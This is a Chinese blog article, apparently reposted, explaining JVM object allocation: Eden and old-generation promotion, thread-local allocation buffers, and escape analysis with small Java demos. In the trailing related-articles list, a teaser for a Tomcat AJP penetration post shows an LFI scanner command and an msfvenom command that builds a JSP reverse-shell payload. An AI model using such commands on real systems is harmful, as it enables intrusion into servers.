JVM对象在堆、栈、TLAP上的分配

news2024/9/24 15:22:23

文章目录

  • 前言
  • 堆中对象的分配策略
    • 大对象直接进入老年代
  • 本地内存分配缓冲区(Thread-local allocation buffer)
  • 对象分配在栈上
    • 逃逸分析概述
      • 演示发生逃逸的对象
      • 演示发生逃逸的对象
      • StringBuffer不发生逃逸
    • 逃逸分析之栈上分配
      • 逃逸分析之同步省略
      • 逃逸分析之标量替换
  • 总结

前言

一般在java程序中,new的对象是分配在堆空间中的,但是实际的情况是,大部分的new对象会进入堆空间中,而并非是全部的对象,还有另外两个地方可以存储new的对象,我们称之为栈上分配以及TLAB

堆中对象的分配策略

如果对象在Eden区出生,并经过第一次MinorGC后仍然存活,并且能被Survivor区容纳的话,将被移动到Survivor区中,并将对象年龄设为1。对象在Survivor区中每经过一次Minor GC,年龄就增加1岁,当它的年龄增加到一定程度时(默认为15岁,其实每个JVM、每个GC都有所不同)​,就会被晋升到老年代中。对象晋升老年代的年龄阈值,可以通过-XX:Max TenuringThreshold来设置,也会有其他情况直接分配对象到老年代。

对象分配策略如下所示。

(1)优先分配到Eden区。

(2)大对象直接分配到老年代,在开发过程中应尽量避免程序中出现过多的大对象。

(3)长期存活的对象分配到老年代。

(4)通过动态对象年龄判断,如果Survivor区中相同年龄的所有对象的大小总和大于Survivor区的一半年龄大于或等于该年龄的对象可以直接进入老年代,无须等到MaxTenuringThreshold中要求的年龄。

(5)空间分配担保,使用参数-XX:HandlePromotionFailure来设置空间分配担保是否开启,但是JDK 6 Update 24该参数不再生效,JDK 6 Update 24之后版本的规则变为,只要老年代的连续空间大于新生代对象总大小或者历次晋升的平均大小,就会进行Minor GC,否则将进行Full GC

大对象直接进入老年代


/**
 *      测试:大对象直接进入老年代。
 *     -Xms60m -Xmx60m -XX:NewRatio=2 -XX:SurvivorRatio=8 -XX:+PrintGCDetails
 */
public class Young0ldAreaTest {
    public static void main(String[] args) {
        byte[] buffer = new byte[1024 * 1024 * 20];//20M
    }
}

在这里插入图片描述

20M的数据出现在ParOldGen区也就是老年代,说明大对象在Eden区存不下,直接分配到老年代。

本地内存分配缓冲区(Thread-local allocation buffer)

程序中所有的线程共享Java中的堆区域,但是堆中还有一部分区域是线程私有,这部分区域称为线程本地分配缓存区(Thread Local Allocation Buffer,TLAB)。

TLAB表示JVM为每个线程分配了一个私有缓存区域,这块缓存区域包含在Eden区内。简单说TLAB就是在堆内存中的Eden区分配了一块线程私有的内存区域。什么是TLAB呢?

(1)从内存模型角度来看,新生代区域继续对Eden区域进行划分,JVM为每个线程分配了一个私有缓存区域,如下图所示。

(2)多线程同时分配内存时,使用TLAB可以避免一系列的非线程安全问题,同时还能够提升内存分配的吞吐量,因此我们可以将这种内存分配方式称为快速分配策略

在这里插入图片描述

为什么有TLAB呢?原因如下。

(1)堆区是线程共享区域,任何线程都可以访问到堆区中的共享数据

(2)由于对象实例的创建在JVM中非常频繁,因此在并发环境下从堆区中划分内存空间是线程不安全的

(3)为避免多个线程操作同一地址,需要使用加锁等机制,进而影响分配速度。尽管不是所有的对象实例都能够在TLAB中成功分配内存,但JVM确实是将TLAB作为内存分配的首选。在程序中,开发人员可以通过选项-XX:+/-UseTLAB设置是否开启TLAB空间。下面我们通过代码演示-XX:UseTLAB参数的设置。

/**
 * 测试-XX:UseTLAB参数是否开启的情况:默认情况是开启的
 */
public class TLABArgsTest {
    public static void main(String[] args) {
        System.out.println("我只是来打个酱油~");
        try {
            Thread.sleep(1000000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
默认情况下,TLAB空间的内存非常小,仅占有整个Eden区的1%,我们可以通过选项-XX:TLABWasteTargetPercent设置TLAB空间所占用Eden区的百分比大小。

一旦对象在TLAB空间分配内存失败时,JVM就会尝试着通过使用加锁机制确保数据操作的原子性,从而直接在Eden区中分配内存。

在这里插入图片描述

对象分配在栈上

逃逸分析概述

对象经过逃逸分析,有可能把对象分配到栈上。也就是说如果将对象分配到栈,需要使用逃逸分析手段。

逃逸分析是一种可以有效减少Java程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。

通过逃逸分析,Java HotSpot编译器能够分析出一个新对象引用的使用范围,从而决定是否要将这个对象分配到堆上。逃逸分析的基本行为就是分析对象的动态作用域。

当一个对象在方法中被定义后,若对象只在方法内部使用,则认为没有发生逃逸。当一个对象在方法中被定义后,若它被外部方法所引用,则认为发生逃逸。例如作为调用参数传递到其他地方中。

演示发生逃逸的对象

在这里插入图片描述

代码示例中的对象V的作用域只在method()方法区内,若没有发生逃逸,则可以分配到栈上,随着方法执行的结束,栈空间就被移除了。

演示发生逃逸的对象

在这里插入图片描述
如果想让上述代码中的StringBuffer sb不发生逃逸。

StringBuffer不发生逃逸

在这里插入图片描述
在JDK 6u23版本之后,HotSpot中默认就已经开启了逃逸分析。

如果使用的是较早的版本,开发人员则可以通过以下参数来设置逃逸分析的相关信息。

(1)选项-XX:+DoEscapeAnalysis开启逃逸分析。

(2)选项-XX:+PrintEscapeAnalysis查看逃逸分析的筛选结果。一般在开发中能使用局部变量的,就不要使用在方法外定义。

逃逸分析之栈上分配

JIT(Just In Time)编译器在编译期间根据逃逸分析的结果,发现如果一个对象没有逃逸出方法的话,就可能被优化成栈上分配。分配完成后,继续在调用栈内执行,最后线程结束,栈空间被回收,局部变量对象也被回收。这样就无须进行垃圾回收了

逃逸分析之同步省略

线程同步的代价是相当高的,同步的后果是降低了并发性和性能。在动态编译同步块的时候,JIT编译器可以借助逃逸分析,来判断同步块所使用的锁对象是否只能够被一个线程访问而没有被发布到其他线程。如果没有,那么JIT编译器在编译这个同步块的时候就会取消对这部分代码的同步,这样就能大大提高并发性和性能。这个取消同步的过程就叫同步省略,也叫锁消除

在这里插入图片描述

代码中对hollis对象进行加锁,但是hollis对象的生命周期只在f()方法中,并不会被其他线程访问,所以在JIT编译阶段就会被优化掉。优化后的代码如下:

在这里插入图片描述

当代码中对hollis这个对象进行加锁时的字节码文件如图所示。同步省略是将字节码文件加载到内存之后才进行的,所以当我们查看字节码文件的时候仍然能看到synchronized的身影,在字节码文件中体现为monitorenter和monitorexit,如图所示:

在这里插入图片描述

逃逸分析之标量替换

标量(Scalar)是指一个无法再分解成更小数据的数据。Java中的原始数据类型就是标量。相对的,那些还可以分解的数据叫作聚合量(Aggregate),Java中的对象就是聚合量,因为它可以分解成其他聚合量和标量。

在JIT编译器的编译阶段,如果经过逃逸分析,发现一个对象不会被外界访问的话,那么经过JIT优化,就会把这个对象拆解成若干个成员变量。这个过程就是标量替换。

在这里插入图片描述
以上代码经过标量替换后,就会变成如下效果:

在这里插入图片描述

总结

在这里插入图片描述

  1. 编译器通过逃逸分析,确定对象是在栈上分配还是在堆上分配。如果是在堆上分配,则进入选项2
  2. 如果tlab_top + size <= tlab_end,则在在TLAB上直接分配对象并增加tlab_top 的值,如果现有的TLAB不足以存放当前对象则3
  3. 重新申请一个TLAB,并再次尝试存放当前对象。如果放不下,则4.
  4. 在Eden区加锁(这个区是多线程共享的),如果eden_top + size <= eden_end则将对象存放在Eden区,增加eden_top 的值,如果Eden区不足以存放,则5.
  5. 执行一次Young GC(minor collection)。
  6. 经过Young GC之后,如果Eden区任然不足以存放当前对象,则直接分配到老年代。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046392.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

C++ | Leetcode C++题解之第338题比特位计数

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> countBits(int n) {vector<int> bits(n 1);for (int i 1; i < n; i) {bits[i] bits[i & (i - 1)] 1;}return bits;} };

Windows安装MySQL时出现Install/Remove of the Service Denied!解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

计算机毕业设计选题推荐-医院问诊系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Java语言程序设计基础篇_编程练习题**16.17(使用ScrollBar和Slider)

目录 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 习题思路 示例代码 结果展示 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 编写一个程序&#xff0c;使用滚动条或者滑动条选择文本的颜色&#xff0c;如图16-43所示。使用四个水平滚动条选择颜色&a…

【STM32F4】——DMA初始化结构体详解

一.DMA_InitTypeDef 初始化结构体 typedef struct {uint32_t DMA_Channel; //通道选择 uint32_t DMA_PeripheralBaseAddr;//外设地址uint32_t DMA_Memory0BaseAddr; //存储器 0 地址uint32_t DMA_DIR; //传输方向 uint32_t DMA_BufferSize; /…

售后服务认证的价值:权威认证带来的全方位优势

在当今竞争激烈的市场环境中&#xff0c;企业要想脱颖而出&#xff0c;不仅仅需要过硬的产品质量&#xff0c;更需要卓越的售后服务。售后服务认证作为一种权威认证&#xff0c;正日益成为企业在全国范围内展示服务领先性的关键工具。本文将详细阐述售后服务认证所带来的多重价…

virtualbox 安装 win7 系统注意事项

win7可用ISO镜像 virtualbox安装Windows 7 64位旗舰版 &#xff08;包含镜像文件&#xff09;_virtual pc安装64位windows7-CSDN博客 视图设为了自动缩放&#xff0c;没有菜单了怎么办&#xff1f; 通过按右侧CtrlC/F/L进行切换 复制黏贴不公用怎么办&#xff1f; 宿主机有…

《计算机组成原理》(第3版)第10章 控制单元的设计 复习笔记

第10章 控制单元的设计 一、组合逻辑设计 &#xff08;一&#xff09;组合逻辑控制单元框图 简化的控制单元框图&#xff0c;如图10-1所示。 图10-1 带译码和节拍输入的控制单元框图 &#xff08;二&#xff09;微操作的节拍安排 安排微操作节拍时应注意以下3点&#xff1a…

OpenCv学习-python

一.OpenCv介绍 简介 OpenCV&#xff08;Open Source Computer Vision Library&#xff1a;opencv官网地址)是一个开源的基于BSD许可的库&#xff0c;它包括数百种计算机视觉算法。文档OpenCV 2.x API描述的是C API&#xff0c;相对还有一个基于C语言的OpenCV 1.x API&#xf…

生成式人工智能服务大模型——安全评估要求

&#xff08;推荐性条款是指能愿动词为“宜”或“不宜”的条款&#xff09;正式稿许多调整有调整。 自行开展安全评估的&#xff0c;评估报告应至少具有三名负责人共同签字。 单位法定代表人&#xff08;表述更正&#xff09;。 整体负责安全评估工作的负责人&#xff0c;应为单…

多串口互传指令代码遇到的问题

1.首先是字节格式&#xff0c;因为串口底层是一字节一字节的传输&#xff0c;所以每个要传输的字符与16进制数都要经过设计一定要保证是一字节一字节的发送 下面是把字符串拆分成字节一个一个发送示例 void Serial_SendString(char *String) {uint8_t i;for (i 0; String[i]…

泛微OA流程监控设置

泛微OA的流程监控设置问题 简单介绍 给流程设置监控主要是为了对系统中流转的流程进行相应的监控&#xff0c;例如对流程进行流程干预、强制归档、删除、查看等操作 如何设置 监控设置这个需要有相应后台权限账号的用户进行设置&#xff0c;进入流程引擎----->监控管理-…

用uniapp写app,想要打包后横屏显示的方法

在网络上找了很多方法&#xff0c;打包之后都没什么用&#xff0c;该竖屏还是竖屏&#xff0c;挺无语的&#xff0c;最后试了一种方法才解决了打包后也横屏显示的方法 在 pages.json 文件中&#xff1a; "pageOrientation": "auto" 这一条属性即可 设置…

可视化大屏适不适合组件化?报表类的很适合,数字孪生也可以

有小伙伴们问&#xff0c;可视化大屏能不能组件化&#xff0c;其实没问题的&#xff0c;而且已经很常见 也很成熟了&#xff0c;比如一些报表软件&#xff0c;把组件拖到画布上&#xff0c;设置一下&#xff0c;对接一下数据源&#xff0c;很快就做好了。 即便在UI设计环节&am…

【docker】docker资源管理

docker资源管理 docker cpu管理 Docker提供了多种方式来管理容器的CPU使用情况&#xff0c;包括以下几种方法&#xff1a; CPU限制&#xff1a;使用--cpus参数可以限制容器使用的CPU核心数。例如&#xff0c;docker run --cpus 2将限制容器使用2个CPU核心。CPU共享&#xff…

iPhone如何全选删除照片:一步到位的清理指南

随着时间的推移&#xff0c;iPhone中的照片会迅速累积&#xff0c;最终可能占据大量的存储空间。无论是为了释放空间&#xff0c;还是整理照片库&#xff0c;iPhone如何全选删除照片成为许多用户的需求。然而&#xff0c;iPhone原生的“照片”应用并没有直接提供“全选删除”功…

软考学习笔记(0):软考准备

文章目录 前言软考的优点软考项目的选择资料选择时间安排 前言 最近因为某些原因&#xff0c;我又开始上班了。新工作是纯内网开发&#xff0c;那以后发博客的频率我估计就会很少了。 软考的优点 简单来说&#xff0c;软考考上了&#xff0c;大概一个月的薪资可以涨1000-300…

使用JvisualVM 连接linux远程服务器

一、添加配置 在 java 启动参数中添加如下配置 -Dcom.sun.management.jmxremotetrue -Djava.rmi.server.hostname服务器IP(公网) -Dcom.sun.management.jmxremote.port端口号 -Dcom.sun.management.jmxremote.sslfalse -Dcom.sun.management.jmxremote.authenticatefalse添加…

树莓派智能语音助手之ASR2 – sherpa-ncnn

前几天虽然让树莓派学会了“听”&#xff08;《树莓派智能语音助手之ASR – SpeechRecognitionPocketSphinx》&#xff09;&#xff0c;但是&#xff0c;PocketSphinx的识别效果真心不咋的。可我的树莓派因为系统等原因&#xff0c;一直装不了sherpa-onnx。正当我只能无奈地接受…